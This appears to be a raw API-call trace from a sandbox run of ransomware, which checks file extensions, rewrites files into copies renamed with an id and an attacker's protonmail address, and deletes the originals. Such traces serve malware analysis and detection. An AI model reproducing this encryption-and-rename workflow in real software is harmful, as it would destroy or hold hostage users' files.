	[0168.600] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ko-KR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ko-kr\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0
	[0168.600] GetFileSizeEx (in: hFile=0x4b0, lpFileSize=0x328ff14 | out: lpFileSize=0x328ff14*=7680) returned 1
	[0168.600] CloseHandle (hObject=0x4b0) returned 1
	[0168.601] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ko-KR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ko-kr\\tipresx.dll.mui")) returned 0x20
	[0168.601] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ko-KR\\tipresx.dll.mui.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ko-kr\\tipresx.dll.mui.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0168.601] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ko-KR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ko-kr\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0168.601] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ko-KR\\tipresx.dll.mui") returned 72
	[0168.601] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ko-KR\\tipresx.dll.mui") returned 72
	[0168.601] lstrlenW (lpString=".doc") returned 4
	[0168.601] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0168.601] lstrlenW (lpString=".docx") returned 5
	[0168.601] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1
	[0168.601] lstrlenW (lpString=".pdf") returned 4
	[0168.601] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0168.601] lstrlenW (lpString=".xls") returned 4
	[0168.601] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0168.601] lstrlenW (lpString=".xlsx") returned 5
	[0168.601] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1
	[0168.601] lstrlenW (lpString=".ppt") returned 4
	[0168.601] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0168.601] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ko-KR\\tipresx.dll.mui") returned 72
	[0168.602] lstrlenW (lpString=".zip") returned 4
	[0168.602] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0168.602] lstrlenW (lpString=".rar") returned 4
	[0168.602] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0168.602] lstrlenW (lpString=".bz2") returned 4
	[0168.602] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0168.602] lstrlenW (lpString=".7z") returned 3
	[0168.602] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0168.602] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ko-KR\\tipresx.dll.mui") returned 72
	[0168.602] lstrlenW (lpString=".dbf") returned 4
	[0168.602] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0168.602] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ko-KR\\tipresx.dll.mui") returned 72
	[0168.602] lstrlenW (lpString=".1cd") returned 4
	[0168.602] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0168.602] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ko-KR\\tipresx.dll.mui") returned 72
	[0168.602] lstrlenW (lpString=".jpg") returned 4
	[0168.602] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0168.602] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ko-KR\\tipresx.dll.mui") returned 72
	[0168.602] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ko-KR\\tipresx.dll.mui") returned 72
	[0168.602] lstrlenW (lpString=".doc") returned 4
	[0168.602] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0168.602] lstrlenW (lpString=".docx") returned 5
	[0168.602] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1
	[0168.602] lstrlenW (lpString=".pdf") returned 4
	[0168.603] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0168.603] lstrlenW (lpString=".xls") returned 4
	[0168.603] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0168.603] lstrlenW (lpString=".xlsx") returned 5
	[0168.603] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1
	[0168.603] lstrlenW (lpString=".ppt") returned 4
	[0168.603] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0168.603] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ko-KR\\tipresx.dll.mui") returned 72
	[0168.603] lstrlenW (lpString=".zip") returned 4
	[0168.603] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0168.603] lstrlenW (lpString=".rar") returned 4
	[0168.603] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0168.603] lstrlenW (lpString=".bz2") returned 4
	[0168.603] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0168.603] lstrlenW (lpString=".7z") returned 3
	[0168.603] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0168.603] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ko-KR\\tipresx.dll.mui") returned 72
	[0168.603] lstrlenW (lpString=".dbf") returned 4
	[0168.603] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0168.603] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ko-KR\\tipresx.dll.mui") returned 72
	[0168.603] lstrlenW (lpString=".1cd") returned 4
	[0168.603] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0168.603] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ko-KR\\tipresx.dll.mui") returned 72
	[0168.603] lstrlenW (lpString=".jpg") returned 4
	[0168.603] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0168.604] lstrcmpiW (lpString1=".dgml", lpString2=".html") returned -1
	[0168.604] lstrlenW (lpString="chstic.dgml") returned 11
	[0168.604] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\LanguageModel\\chstic.dgml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\languagemodel\\chstic.dgml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0
	[0168.605] GetFileSizeEx (in: hFile=0x4b0, lpFileSize=0x328ff14 | out: lpFileSize=0x328ff14*=763) returned 1
	[0168.605] CloseHandle (hObject=0x4b0) returned 1
	[0168.605] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\LanguageModel\\chstic.dgml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\languagemodel\\chstic.dgml")) returned 0x20
	[0168.605] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\LanguageModel\\chstic.dgml.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\languagemodel\\chstic.dgml.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0168.605] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\LanguageModel\\chstic.dgml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\languagemodel\\chstic.dgml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0168.605] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\LanguageModel\\chstic.dgml") returned 76
	[0168.605] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\LanguageModel\\chstic.dgml") returned 76
	[0168.605] lstrlenW (lpString=".doc") returned 4
	[0168.605] lstrcmpiW (lpString1=".doc", lpString2="dgml") returned -1
	[0168.605] lstrlenW (lpString=".docx") returned 5
	[0168.606] lstrcmpiW (lpString1=".docx", lpString2=".dgml") returned 1
	[0168.606] lstrlenW (lpString=".pdf") returned 4
	[0168.606] lstrcmpiW (lpString1=".pdf", lpString2="dgml") returned -1
	[0168.606] lstrlenW (lpString=".xls") returned 4
	[0168.606] lstrcmpiW (lpString1=".xls", lpString2="dgml") returned -1
	[0168.606] lstrlenW (lpString=".xlsx") returned 5
	[0168.606] lstrcmpiW (lpString1=".xlsx", lpString2=".dgml") returned 1
	[0168.606] lstrlenW (lpString=".ppt") returned 4
	[0168.606] lstrcmpiW (lpString1=".ppt", lpString2="dgml") returned -1
	[0168.606] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\LanguageModel\\chstic.dgml") returned 76
	[0168.606] lstrlenW (lpString=".zip") returned 4
	[0168.606] lstrcmpiW (lpString1=".zip", lpString2="dgml") returned -1
	[0168.606] lstrlenW (lpString=".rar") returned 4
	[0168.606] lstrcmpiW (lpString1=".rar", lpString2="dgml") returned -1
	[0168.606] lstrlenW (lpString=".bz2") returned 4
	[0168.606] lstrcmpiW (lpString1=".bz2", lpString2="dgml") returned -1
	[0168.606] lstrlenW (lpString=".7z") returned 3
	[0168.606] lstrcmpiW (lpString1=".7z", lpString2="gml") returned -1
	[0168.606] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\LanguageModel\\chstic.dgml") returned 76
	[0168.606] lstrlenW (lpString=".dbf") returned 4
	[0168.606] lstrcmpiW (lpString1=".dbf", lpString2="dgml") returned -1
	[0168.606] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\LanguageModel\\chstic.dgml") returned 76
	[0168.606] lstrlenW (lpString=".1cd") returned 4
	[0168.606] lstrcmpiW (lpString1=".1cd", lpString2="dgml") returned -1
	[0168.606] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\LanguageModel\\chstic.dgml") returned 76
	[0168.606] lstrlenW (lpString=".jpg") returned 4
	[0168.607] lstrcmpiW (lpString1=".jpg", lpString2="dgml") returned -1
	[0168.607] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\LanguageModel\\chstic.dgml") returned 76
	[0168.607] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\LanguageModel\\chstic.dgml") returned 76
	[0168.607] lstrlenW (lpString=".doc") returned 4
	[0168.607] lstrcmpiW (lpString1=".doc", lpString2="dgml") returned -1
	[0168.607] lstrlenW (lpString=".docx") returned 5
	[0168.607] lstrcmpiW (lpString1=".docx", lpString2=".dgml") returned 1
	[0168.607] lstrlenW (lpString=".pdf") returned 4
	[0168.607] lstrcmpiW (lpString1=".pdf", lpString2="dgml") returned -1
	[0168.607] lstrlenW (lpString=".xls") returned 4
	[0168.607] lstrcmpiW (lpString1=".xls", lpString2="dgml") returned -1
	[0168.607] lstrlenW (lpString=".xlsx") returned 5
	[0168.607] lstrcmpiW (lpString1=".xlsx", lpString2=".dgml") returned 1
	[0168.607] lstrlenW (lpString=".ppt") returned 4
	[0168.607] lstrcmpiW (lpString1=".ppt", lpString2="dgml") returned -1
	[0168.607] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\LanguageModel\\chstic.dgml") returned 76
	[0168.607] lstrlenW (lpString=".zip") returned 4
	[0168.607] lstrcmpiW (lpString1=".zip", lpString2="dgml") returned -1
	[0168.607] lstrlenW (lpString=".rar") returned 4
	[0168.607] lstrcmpiW (lpString1=".rar", lpString2="dgml") returned -1
	[0168.607] lstrlenW (lpString=".bz2") returned 4
	[0168.607] lstrcmpiW (lpString1=".bz2", lpString2="dgml") returned -1
	[0168.607] lstrlenW (lpString=".7z") returned 3
	[0168.607] lstrcmpiW (lpString1=".7z", lpString2="gml") returned -1
	[0168.608] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\LanguageModel\\chstic.dgml") returned 76
	[0168.608] lstrlenW (lpString=".dbf") returned 4
	[0168.608] lstrcmpiW (lpString1=".dbf", lpString2="dgml") returned -1
	[0168.608] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\LanguageModel\\chstic.dgml") returned 76
	[0168.608] lstrlenW (lpString=".1cd") returned 4
	[0168.608] lstrcmpiW (lpString1=".1cd", lpString2="dgml") returned -1
	[0168.608] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\LanguageModel\\chstic.dgml") returned 76
	[0168.608] lstrlenW (lpString=".jpg") returned 4
	[0168.608] lstrcmpiW (lpString1=".jpg", lpString2="dgml") returned -1
	[0168.608] lstrcmpiW (lpString1=".mui", lpString2=".html") returned 1
	[0168.608] lstrlenW (lpString="tipresx.dll.mui") returned 15
	[0168.608] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\lt-LT\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\lt-lt\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0
	[0168.609] GetFileSizeEx (in: hFile=0x4b0, lpFileSize=0x328ff14 | out: lpFileSize=0x328ff14*=10240) returned 1
	[0168.609] CloseHandle (hObject=0x4b0) returned 1
	[0168.609] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\lt-LT\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\lt-lt\\tipresx.dll.mui")) returned 0x20
	[0168.609] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\lt-LT\\tipresx.dll.mui.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\lt-lt\\tipresx.dll.mui.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0168.609] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\lt-LT\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\lt-lt\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0168.610] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\lt-LT\\tipresx.dll.mui") returned 72
	[0168.610] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\lt-LT\\tipresx.dll.mui") returned 72
	[0168.610] lstrlenW (lpString=".doc") returned 4
	[0168.610] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0168.610] lstrlenW (lpString=".docx") returned 5
	[0168.610] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1
	[0168.610] lstrlenW (lpString=".pdf") returned 4
	[0168.610] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0168.610] lstrlenW (lpString=".xls") returned 4
	[0168.610] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0168.610] lstrlenW (lpString=".xlsx") returned 5
	[0168.610] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1
	[0168.610] lstrlenW (lpString=".ppt") returned 4
	[0168.610] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0168.610] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\lt-LT\\tipresx.dll.mui") returned 72
	[0168.610] lstrlenW (lpString=".zip") returned 4
	[0168.610] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0168.610] lstrlenW (lpString=".rar") returned 4
	[0168.610] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0168.610] lstrlenW (lpString=".bz2") returned 4
	[0168.610] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0168.610] lstrlenW (lpString=".7z") returned 3
	[0168.610] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0168.611] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\lt-LT\\tipresx.dll.mui") returned 72
	[0168.612] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\micaut.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\micaut.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\micaut.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\micaut.dll.id-b4197730.[vip76@protonmail.com].html")) returned 0
	[0168.615] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mraut.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mraut.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mraut.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mraut.dll.id-b4197730.[vip76@protonmail.com].html")) returned 0
	[0169.037] GetFileSizeEx (in: hFile=0x4dc, lpFileSize=0x328ff14 | out: lpFileSize=0x328ff14*=8809536) returned 1
	[0169.037] CloseHandle (hObject=0x4dc) returned 1
	[0169.037] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\jvm.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\jvm.dll")) returned 0x20
	[0169.038] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\jvm.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\jvm.dll.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0169.038] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\jvm.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\jvm.dll"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\jvm.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\jvm.dll.id-b4197730.[vip76@protonmail.com].html")) returned 0
	[0169.052] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.052] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.052] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\copyright.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e0
	[0169.054] GetLastError () returned 0x0
	[0169.054] ReadFile (in: hFile=0x4dc, lpBuffer=0x3eae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesRead=0x328fecc*=0xcac, lpOverlapped=0x0) returned 1
	[0169.319] WriteFile (in: hFile=0x4e0, lpBuffer=0x3eae020*, nNumberOfBytesToWrite=0xcb0, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesWritten=0x328fc94*=0xcb0, lpOverlapped=0x0) returned 1
	[0169.320] ReadFile (in: hFile=0x4dc, lpBuffer=0x3eae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesRead=0x328fecc*=0x0, lpOverlapped=0x0) returned 1
	[0169.320] WriteFile (in: hFile=0x4e0, lpBuffer=0x3eae020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesWritten=0x328fc94*=0xe6, lpOverlapped=0x0) returned 1
	[0169.320] SetEndOfFile (hFile=0x4e0) returned 1
	[0169.321] CloseHandle (hObject=0x4e0) returned 1
	[0169.321] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.321] SetEndOfFile (hFile=0x4dc) returned 1
	[0169.325] CloseHandle (hObject=0x4dc) returned 1
	[0169.325] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0169.326] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT" (normalized: "c:\\program files\\java\\jre1.8.0_144\\copyright")) returned 1
	[0169.326] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT") returned 44
	[0169.326] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT") returned 44
	[0169.326] lstrlenW (lpString=".doc") returned 4
	[0169.326] lstrcmpiW (lpString1=".doc", lpString2="IGHT") returned -1
	[0169.326] lstrlenW (lpString=".docx") returned 5
	[0169.326] lstrcmpiW (lpString1=".docx", lpString2="RIGHT") returned -1
	[0169.326] lstrlenW (lpString=".pdf") returned 4
	[0169.326] lstrcmpiW (lpString1=".pdf", lpString2="IGHT") returned -1
	[0169.326] lstrlenW (lpString=".xls") returned 4
	[0169.327] lstrcmpiW (lpString1=".xls", lpString2="IGHT") returned -1
	[0169.327] lstrlenW (lpString=".xlsx") returned 5
	[0169.327] lstrcmpiW (lpString1=".xlsx", lpString2="RIGHT") returned -1
	[0169.327] lstrlenW (lpString=".ppt") returned 4
	[0169.327] lstrcmpiW (lpString1=".ppt", lpString2="IGHT") returned -1
	[0169.327] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT") returned 44
	[0169.327] lstrlenW (lpString=".zip") returned 4
	[0169.327] lstrcmpiW (lpString1=".zip", lpString2="IGHT") returned -1
	[0169.327] lstrlenW (lpString=".rar") returned 4
	[0169.327] lstrcmpiW (lpString1=".rar", lpString2="IGHT") returned -1
	[0169.327] lstrlenW (lpString=".bz2") returned 4
	[0169.327] lstrcmpiW (lpString1=".bz2", lpString2="IGHT") returned -1
	[0169.327] lstrlenW (lpString=".7z") returned 3
	[0169.327] lstrcmpiW (lpString1=".7z", lpString2="GHT") returned -1
	[0169.327] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT") returned 44
	[0169.327] lstrlenW (lpString=".dbf") returned 4
	[0169.327] lstrcmpiW (lpString1=".dbf", lpString2="IGHT") returned -1
	[0169.327] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT") returned 44
	[0169.327] lstrlenW (lpString=".1cd") returned 4
	[0169.327] lstrcmpiW (lpString1=".1cd", lpString2="IGHT") returned -1
	[0169.327] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT") returned 44
	[0169.327] lstrlenW (lpString=".jpg") returned 4
	[0169.327] lstrcmpiW (lpString1=".jpg", lpString2="IGHT") returned -1
	[0169.327] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT") returned 44
	[0169.327] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT") returned 44
	[0169.327] lstrlenW (lpString=".doc") returned 4
	[0169.327] lstrcmpiW (lpString1=".doc", lpString2="IGHT") returned -1
	[0169.327] lstrlenW (lpString=".docx") returned 5
	[0169.327] lstrcmpiW (lpString1=".docx", lpString2="RIGHT") returned -1
	[0169.327] lstrlenW (lpString=".pdf") returned 4
	[0169.328] lstrcmpiW (lpString1=".pdf", lpString2="IGHT") returned -1
	[0169.328] lstrlenW (lpString=".xls") returned 4
	[0169.328] lstrcmpiW (lpString1=".xls", lpString2="IGHT") returned -1
	[0169.328] lstrlenW (lpString=".xlsx") returned 5
	[0169.328] lstrcmpiW (lpString1=".xlsx", lpString2="RIGHT") returned -1
	[0169.328] lstrlenW (lpString=".ppt") returned 4
	[0169.328] lstrcmpiW (lpString1=".ppt", lpString2="IGHT") returned -1
	[0169.328] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT") returned 44
	[0169.328] lstrlenW (lpString=".zip") returned 4
	[0169.328] lstrcmpiW (lpString1=".zip", lpString2="IGHT") returned -1
	[0169.328] lstrlenW (lpString=".rar") returned 4
	[0169.328] lstrcmpiW (lpString1=".rar", lpString2="IGHT") returned -1
	[0169.328] lstrlenW (lpString=".bz2") returned 4
	[0169.328] lstrcmpiW (lpString1=".bz2", lpString2="IGHT") returned -1
	[0169.328] lstrlenW (lpString=".7z") returned 3
	[0169.328] lstrcmpiW (lpString1=".7z", lpString2="GHT") returned -1
	[0169.328] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT") returned 44
	[0169.328] lstrlenW (lpString=".dbf") returned 4
	[0169.328] lstrcmpiW (lpString1=".dbf", lpString2="IGHT") returned -1
	[0169.328] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT") returned 44
	[0169.328] lstrlenW (lpString=".1cd") returned 4
	[0169.328] lstrcmpiW (lpString1=".1cd", lpString2="IGHT") returned -1
	[0169.328] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT") returned 44
	[0169.328] lstrlenW (lpString=".jpg") returned 4
	[0169.328] lstrcmpiW (lpString1=".jpg", lpString2="IGHT") returned -1
	[0169.328] lstrcmpiW (lpString1=".pf", lpString2=".html") returned 1
	[0169.328] lstrlenW (lpString="CIEXYZ.pf") returned 9
	[0169.329] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\ciexyz.pf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4dc
	[0169.329] GetFileSizeEx (in: hFile=0x4dc, lpFileSize=0x328ff14 | out: lpFileSize=0x328ff14*=51236) returned 1
	[0169.329] CloseHandle (hObject=0x4dc) returned 1
	[0169.329] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\ciexyz.pf")) returned 0x20
	[0169.329] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\ciexyz.pf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0169.329] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\ciexyz.pf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4dc
	[0169.330] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.330] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.330] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\ciexyz.pf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e0
	[0169.469] GetLastError () returned 0x0
